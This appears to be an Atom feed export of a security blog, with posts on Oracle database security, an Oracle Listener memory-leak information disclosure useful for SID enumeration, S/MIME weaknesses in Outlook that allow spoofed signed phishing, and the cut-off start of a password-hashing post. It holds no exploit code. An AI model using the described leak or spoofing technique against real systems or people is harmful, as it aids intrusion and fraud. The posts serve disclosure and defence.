<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-248147735868857337</id><updated>2025-11-11T00:45:19.134-08:00</updated><category term="backtrack"/><category term="cracking"/><category term="pentest"/><category term="wireless"/><category term="authentication"/><category term="backtrack4"/><category term="blog"/><category term="code"/><category term="crack"/><category term="dictionary"/><category term="exploit"/><category term="exploitation"/><category term="hacking"/><category term="hash"/><category term="howto"/><category term="lm"/><category term="metasploit"/><category term="microsoft"/><category term="nessus"/><category term="ntlm"/><category term="password"/><category term="penetrationtesting"/><category term="security"/><category term="wifi"/><category term="wordlist"/><category term="wpa"/><category term="wpa2"/><category term="802.11"/><category term="aes"/><category term="alternative"/><category term="antivirus"/><category term="archive"/><category term="autopwn"/><category term="av"/><category term="avoidance"/><category term="bypass"/><category term="ccmp"/><category term="commandline"/><category term="eap"/><category term="enumeration"/><category term="forensics"/><category term="framework"/><category term="history"/><category term="information gathering"/><category term="install"/><category term="john"/><category term="kismet"/><category term="leopard"/><category term="mac"/><category term="macintosh"/><category term="milw0rm"/><category term="milworm"/><category term="msfencode"/><category term="msfpayload"/><category term="obfuscate"/><category term="obfuscation"/><category term="osx"/><category term="packing"/><category term="pass-the-hash"/><category term="passthehash"/><category term="peap"/><category term="radius"/><category term="respitory"/><category term="samba"/><category term="scambling"/><category term="scramble"/><category term="tkip"/><category term="tutorial"/><category term="upx"/><category term="windows"/><title type='text'>defence in depth.</title><subtitle type='html'>a cyber security blog.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>19</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-424197785814944978</id><published>2019-04-30T07:57:00.001-07:00</published><updated>2019-04-30T08:09:23.365-07:00</updated><title type='text'>Attacking and Securing Oracle 10g &amp; 11g</title><content type='html'>&lt;span style=&quot;font-family: inherit;&quot;&gt;Found an old presentation I did from 2012 on Oracle database security:&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://s000.tinyupload.com/?file_id=88785195895395554340&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Download slides&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Some handy Oracle references:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;http://www.davidlitchfield.com/Oracle_Data_Redaction_is_Broken.pdf&quot;&gt;Oracle Data Redaction is Broken - David Litchfield&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://www.red-database-security.com/wp/oracle_cheat.pdf&quot;&gt;Oracle Security Cheat Sheet - Red-Database-Security&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://www.integrigy.com/files/Integrigy_Oracle_Listener_TNS_Security.pdf&quot;&gt;Oracle Database Listener Security Guide -&amp;nbsp;Integrity&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://www.owasp.org/images/6/68/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf&quot;&gt;Hacking Oracle From Web: Part 2 -&amp;nbsp;Sid&lt;/a&gt;&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/424197785814944978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/424197785814944978'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2019/04/attacking-and-security-oracle-10g-11g.html' title='Attacking and Securing Oracle 10g &amp; 11g'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-387662162080116763</id><published>2013-11-23T02:06:00.000-08:00</published><updated>2015-05-22T17:08:06.347-07:00</updated><title type='text'>Oracle Listener 11.1.0.7 Information Disclosure</title><content type='html'>The other day I noticed a strange response I hadn&#39;t seen before&amp;nbsp;when running a VERSION command against an 11.1.0.7 Listener:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHaav949XeJTZR9X0VN07GGSvqozmTMvQAJygVULTwmcxdULsaKnLRRJ7y15R4n1rTzvgpi8ke-_bnM5H4Hr6cd3t_rWYx6FeIcQY2JoeWh8Fb9LBfeeQn4dbqnVKiMxxboowHlXi16g4y/s1600/1.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;100&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHaav949XeJTZR9X0VN07GGSvqozmTMvQAJygVULTwmcxdULsaKnLRRJ7y15R4n1rTzvgpi8ke-_bnM5H4Hr6cd3t_rWYx6FeIcQY2JoeWh8Fb9LBfeeQn4dbqnVKiMxxboowHlXi16g4y/s400/1.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
It seemed as though the Listener was leaking memory.&lt;br /&gt;
&lt;br /&gt;
I was able to reproduce this issue across other nodes in the RACs I had access to. Instead of the standard 348 byte TNS VERSION response&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBRhUrz4Fe0xwUxlQTFA1D_5Khclfz6Q21KrofwlylR79bb5YhhVqBEmN4R88OFj0Wp6ZM6XyeuaT1cf96TXr_YaLB-LLFfll7x0b1pxqps4WpYk-w6JMqtPpVEYCTdw96yFsGiiE7TsW1/s1600/2.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;187&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBRhUrz4Fe0xwUxlQTFA1D_5Khclfz6Q21KrofwlylR79bb5YhhVqBEmN4R88OFj0Wp6ZM6XyeuaT1cf96TXr_YaLB-LLFfll7x0b1pxqps4WpYk-w6JMqtPpVEYCTdw96yFsGiiE7TsW1/s400/2.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
I was getting a 2011 byte TNS response:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc9FJk1nFQZlOF3V77qEhqVYQKrPor9-Qoy6FAnRrBfRSnc2cSqSJ7Juvrl_IS395jlHMo3i94uBp0PsiD-_v-foAkgY9P_6YMNGDycCyWJDlwb3iPOCX-LeT9tZkqJ7sJhg5hQavpkSw0/s1600/3.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;152&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhc9FJk1nFQZlOF3V77qEhqVYQKrPor9-Qoy6FAnRrBfRSnc2cSqSJ7Juvrl_IS395jlHMo3i94uBp0PsiD-_v-foAkgY9P_6YMNGDycCyWJDlwb3iPOCX-LeT9tZkqJ7sJhg5hQavpkSw0/s400/3.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
I was also able to reproduce the result by running the VERSION command locally using the lsnrctl utility.&lt;br /&gt;
&lt;br /&gt;
With a bit of digging it seems as though 11.1.0.7 Listeners with CPU April 2012 (patchset&amp;nbsp;13621679) are vulnerable to a memory leak issue. Most likely due to a buffer not being terminated/copied correctly.&lt;br /&gt;
&lt;br /&gt;
This flaw could potentially come in handy during a pentest when trying to enumerate SIDs/Service names:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbO2ThmQlvMq7Gf17tWOqG5unVqCedQi4W_eLOKbD_dg0sWmehwWu6OkH3SMB8WQlfzJWhL-tu2qS6mo_GISi_jwWmUq3yIvr1dP0vQOmFedG2o8v4sYKggKvnZVxvnJ8WFuDTQtc8nlc8/s1600/4.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;90&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbO2ThmQlvMq7Gf17tWOqG5unVqCedQi4W_eLOKbD_dg0sWmehwWu6OkH3SMB8WQlfzJWhL-tu2qS6mo_GISi_jwWmUq3yIvr1dP0vQOmFedG2o8v4sYKggKvnZVxvnJ8WFuDTQtc8nlc8/s400/4.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
I was unable to reproduce this flaw on Listeners patched with CPU July 2012 (patchset&amp;nbsp;&amp;nbsp;13923474) -- meaning Oracle are most likely wise to the issue...&lt;br /&gt;
&lt;br /&gt;
Note: I was able to notice this issue as I was using Metasploit&#39;s tnscmd module. Unlike the tnsversion module, tnscmd outputs the full TNS conversation and not just the 348 bytes of the version string.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/387662162080116763'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/387662162080116763'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2013/11/oracle-listener-11107-information.html' title='Oracle Listener 11.1.0.7 Information Disclosure'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHaav949XeJTZR9X0VN07GGSvqozmTMvQAJygVULTwmcxdULsaKnLRRJ7y15R4n1rTzvgpi8ke-_bnM5H4Hr6cd3t_rWYx6FeIcQY2JoeWh8Fb9LBfeeQn4dbqnVKiMxxboowHlXi16g4y/s72-c/1.JPG" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-4932229988700066311</id><published>2013-06-15T08:10:00.000-07:00</published><updated>2020-01-05T13:43:30.625-08:00</updated><title type='text'>S/MIME: Bucking the phishing trend</title><content type='html'>In recent years, phishing has become an increasingly profitable attack vector for online scammers. According to RSA’s The Year in Phishing (2013) report, the total number of phishing attacks in 2012 increased by 59% and resulted in global losses of $USD 1.5 billion. With this upward trend in online fraud predicted to continue, it’s pertinent to take a look at how these attacks are so successful and what can be done to buck the increasing trend of online fraud.&lt;br /&gt;
&lt;br /&gt;
Phishing is the process whereby someone (malicious) masquerades as a trusted entity to solicit information. Relying on the art of deception, these attacks fair particularly well online as people are less likely to pick up on the fraud cues. Phishers frequently target email as their preferred attack medium due to its lack of security controls – in particular, the absence of authentication.&lt;br /&gt;
&lt;br /&gt;
The critical issue surrounding email is trust. That is, how can we trust an email has come from who it purports to come from? If we look at how this problem was solved on the World Wide Web, we find SSL was the answer. Through the use of certificates, users are able to establish a level of trust online by validating the identity of the website. As it turns out, this method of trust establishment through a certificate can also be used for email and it’s called S/MIME.&lt;br /&gt;
&lt;br /&gt;
S/MIME, or Secure MIME, has been around since the early 2000’s and uses public key encryption to digitally sign an email message. Recipients of an S/MIME email can verify the authenticity of the email by simply checking the attached certificate. If the certificate has been issued to (and by) someone they trust, then they can be assured the email is authentic.&lt;br /&gt;
&lt;br /&gt;
So if S/MIME has this capacity to solve the online trust issue with email, thereby putting an end to the effectiveness of phishing attacks, the question must be asked: why is it so seldom used? In this author’s opinion, vendors of email clients have done a poor job at both promoting and implementing this technology. To provide some perspective on some of the shortcomings of S/MIME implementations, I would first like to take a look at one of the ways trust has been improved on the Web.&lt;br /&gt;
&lt;br /&gt;
Over the last few years, browser vendors have made significant inroads into making it easier for non-technical people to make informed decisions regarding website trust. They&#39;ve done this through the use of visual identifiers. If we look at the three main browsers in use today (Internet Explorer, Firefox and Chrome), we see that that they all utilise a key visual (the colour green) in the address bar to indicate a trusted website.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqG6p9Jus6O7OQHdvgFpvDZqyP5gCCF_mXijDUkqbfKKTwso9dim83EoAGxInuHt2ix7ojQsZ0YrdEBCN8eEfcVUjksthigQR-rvyakbqgrNK0-0vwvULx3Ct85EzHOYfeHb2KssGp43s/s1600/all.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;177&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqG6p9Jus6O7OQHdvgFpvDZqyP5gCCF_mXijDUkqbfKKTwso9dim83EoAGxInuHt2ix7ojQsZ0YrdEBCN8eEfcVUjksthigQR-rvyakbqgrNK0-0vwvULx3Ct85EzHOYfeHb2KssGp43s/s400/all.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
If we now compare this to how three of the most popular email clients (Outlook, Mac Mail and Thunderbird) deal with a digitally signed S/MIME email, we see a stark difference. There are no real obvious key visual indicators to emphasize the email is trusted.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXJU47qmdgbpGg0SOPpZTbK4TXjVOIKIsmoaLUZRri6GNGf1U9Xadya1Nz9-6Sy-11wrPxudtznleMfNHTv1mZfccj4HNdbeAAUDgNWcUHRkzD4opWPufR3suMTUj99cpCMH5odV6aMaU/s1600/thund1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;89&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXJU47qmdgbpGg0SOPpZTbK4TXjVOIKIsmoaLUZRri6GNGf1U9Xadya1Nz9-6Sy-11wrPxudtznleMfNHTv1mZfccj4HNdbeAAUDgNWcUHRkzD4opWPufR3suMTUj99cpCMH5odV6aMaU/s640/thund1.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: left;&quot;&gt;Thunderbird&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiecos559NGi-GMBamrTWw6WQrGVFBbt7ifMBz5ZO3BwoD5G5ZVe78BOn1olt9QKRMrTWSsO55PycvqAfekuw33JTmN2PgFyHC_-yAdslPBjhaTg1veATFX9u1HBcHxVe81ZK6AdwZYDCE/s1600/out1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;83&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiecos559NGi-GMBamrTWw6WQrGVFBbt7ifMBz5ZO3BwoD5G5ZVe78BOn1olt9QKRMrTWSsO55PycvqAfekuw33JTmN2PgFyHC_-yAdslPBjhaTg1veATFX9u1HBcHxVe81ZK6AdwZYDCE/s640/out1.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: left;&quot;&gt;Outlook&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhah-Or7c5zX-UXwbIGFlakSZ4NkB9w2x1AcfdB2_cYHGMswDdbKzk7H_ik0oeyoVIP3DDx0vKzdKmz8AAcMbA9WATILGFnffdTchBtkpLeqdUT2Xvpj7Sr07z0XiyN3byFKTA53qdnCrA/s1600/mac3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;80&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhah-Or7c5zX-UXwbIGFlakSZ4NkB9w2x1AcfdB2_cYHGMswDdbKzk7H_ik0oeyoVIP3DDx0vKzdKmz8AAcMbA9WATILGFnffdTchBtkpLeqdUT2Xvpj7Sr07z0XiyN3byFKTA53qdnCrA/s640/mac3.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: left;&quot;&gt;Mac Mail&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Another example where browsers have improved on trust is where certificate violations are concerned. As an example, if we were to visit a website where the Common Name (CN) on the certificate did not match the URL, we would receive the following message:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcM3LZE1Ys5u8uXnn52eVsRztST49r5tiiXnJ_gF1F4E0Vk1b9rb6pcUMdnoUzx6Z2n9OYCFkIG5QjkhaUB1erC7OsX8NyFEsUGJPDPpStkRgWZ0FF9OpiFLsiwtkTqdIF2vlTeHrlkzg/s1600/ssl.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;272&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcM3LZE1Ys5u8uXnn52eVsRztST49r5tiiXnJ_gF1F4E0Vk1b9rb6pcUMdnoUzx6Z2n9OYCFkIG5QjkhaUB1erC7OsX8NyFEsUGJPDPpStkRgWZ0FF9OpiFLsiwtkTqdIF2vlTeHrlkzg/s320/ssl.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
These messages are important as they indicate to the user a clear violation in trust. If the CN did not have to match the URL, anyone could purchase a certificate with a bogus CN and apply it to any website. This would defeat the purpose of the certificate trust model.&lt;br /&gt;
&lt;br /&gt;
To see how the three email clients would fair against a similar test, I put together a digitally signed email where the email’s &lt;i&gt;From&lt;/i&gt; address does not match the &lt;i&gt;Email Address&lt;/i&gt; attribute on the X.509 certificate. From this, we get some interesting results: &lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiyKquDcAs41Gxd3Gt2lhwN5tWOdgOpJZyigTX9UCKt7NCI0aFfNtLk5-ELMYFsuTtwuPiDPfWceZBKGICWTR_JBO8tuzhZe5UVOtni5aE8fVYPG6oEeRrahex8C4Mexyt5UBf5kAzCCg/s1600/thun2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;211&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiyKquDcAs41Gxd3Gt2lhwN5tWOdgOpJZyigTX9UCKt7NCI0aFfNtLk5-ELMYFsuTtwuPiDPfWceZBKGICWTR_JBO8tuzhZe5UVOtni5aE8fVYPG6oEeRrahex8C4Mexyt5UBf5kAzCCg/s400/thun2.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Thunderbird&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikfaVNOh03Hq2o69i1H3tHj-iUGJHkoiAmzyOU0VXx6LB124_ndi7goF0KsAPthWMvplrtn9lwMcFHnSp3VtpxGY_01k65rs3lM-qp4o9kuhhtARE57z-m9H7XidGl7N023cVwCovmlEU/s1600/mac1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;133&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikfaVNOh03Hq2o69i1H3tHj-iUGJHkoiAmzyOU0VXx6LB124_ndi7goF0KsAPthWMvplrtn9lwMcFHnSp3VtpxGY_01k65rs3lM-qp4o9kuhhtARE57z-m9H7XidGl7N023cVwCovmlEU/s400/mac1.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Mac Mail&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirWnyBK1yaK5PyDmI8C8hC7QTxjBhunu-lPNChHccUMv15DOq8iWaCfkwF7nYoUVjYY78QlRqmoyyfJ_xahvY-Oov03mJMgH2FXlOdeDCUJ5MzLbuBuPT6tQVEVvKgcPEJWVvhT6J0j34/s1600/out2.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirWnyBK1yaK5PyDmI8C8hC7QTxjBhunu-lPNChHccUMv15DOq8iWaCfkwF7nYoUVjYY78QlRqmoyyfJ_xahvY-Oov03mJMgH2FXlOdeDCUJ5MzLbuBuPT6tQVEVvKgcPEJWVvhT6J0j34/s400/out2.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Outlook&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
First off, we see Mac Mail does the best job at warning the user of a trust violation. Thunderbird also has an (albeit discrete) identifier to indicate there was a problem. But more interestingly, Outlook does not flag this as a violation and provides no warnings at all. Going unfixed, this loss of integrity issue has the potential to cause problems.&lt;br /&gt;
&lt;br /&gt;
Let’s say, for example, Company X implemented full PKI and employees knew only to trust emails that had been digitally signed. To get around this defence, a scammer could exploit Outlook’s loss of S/MIME integrity by purchasing a certificate. They could then digitally sign their phishing scam and send it with a spoofed &lt;i&gt;From&lt;/i&gt; address of a Company X employee (remembering the &lt;i&gt;Email Address&lt;/i&gt; on the certificate doesn’t have to match the From address). Company X employees would be none the wiser this email was not authentic, subsequently leading to compromise and thus defeating the purpose of deploying S/MIME in the first place.&lt;br /&gt;
&lt;br /&gt;
I feel the threat posed by current phishing trends is significant. My hope is this post facilitates some discussion within the security community around the issue of email trust and reenforces the importance of email security and S/MIME.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/4932229988700066311/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2013/06/smime-bucking-phishing-trend.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/4932229988700066311'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/4932229988700066311'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2013/06/smime-bucking-phishing-trend.html' title='S/MIME: Bucking the phishing trend'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqG6p9Jus6O7OQHdvgFpvDZqyP5gCCF_mXijDUkqbfKKTwso9dim83EoAGxInuHt2ix7ojQsZ0YrdEBCN8eEfcVUjksthigQR-rvyakbqgrNK0-0vwvULx3Ct85EzHOYfeHb2KssGp43s/s72-c/all.JPG" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-248147735868857337.post-2385588089534172893</id><published>2012-06-16T11:12:00.000-07:00</published><updated>2020-01-05T06:52:00.547-08:00</updated><title type='text'>Password Hashing: Best Practice</title><content type='html'>&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Last week I read a post on
Brian Krebs’ &lt;a href=&quot;http://krebsonsecurity.com/&quot;&gt;blog&lt;/a&gt; where security researcher Thomas Ptacek was interviewed about
his thoughts on the current landscape of password hashing. I found Thomas’ insights
into this topic quite pertinent and would like to reiterate his sentiments
by talking a little about the importance of choosing the right password hashing scheme.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
The idea of storing
passwords in a “secret” form (as opposed to plain-text) is no new notion. In
1976 the Unix operating system would store password hash representations using
